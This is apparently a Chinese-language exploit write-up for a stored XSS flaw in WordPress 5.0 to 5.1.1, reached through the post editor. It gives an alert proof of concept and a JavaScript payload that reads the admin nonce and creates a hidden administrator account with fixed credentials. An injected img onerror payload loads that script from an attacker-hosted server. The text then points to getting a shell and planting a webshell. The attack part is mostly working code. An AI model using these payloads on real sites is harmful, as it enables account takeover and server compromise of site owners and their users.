0x00

此漏洞为存储型XSS,存在于WordPress 5.0到5.0.4,5.1和5.1.1版本

0x01

存在的地方为文章写入的地方

Poc

"><img src=1 onerror=alert("bosch")>

0x02

结果

如果被攻击者恰好拥有管理员权限,则攻击者即可以利用此漏洞获取管理员帐户的控制权,利用WordPress内置函数 getShell,然后控制服务器

0x00

攻击者可以在其Web服务器上托管JavaScript文件

此JavaScript代码将添加一个WordPress管理员帐户,账号密码为bosch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' value  
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wordpress/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];

// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=bosch&email=bosch@site.com&pass1=bosch&pass2=bosch&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);

然后攻击者可以在JavaScript中注入以下PoC代码

"><img src=1 onerror="javascript:(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();">

分析过程:

添加成功,进行查看

直接查看后台user,可以看到添加成功

0x01

也可以在攻击者的帐户添加webshell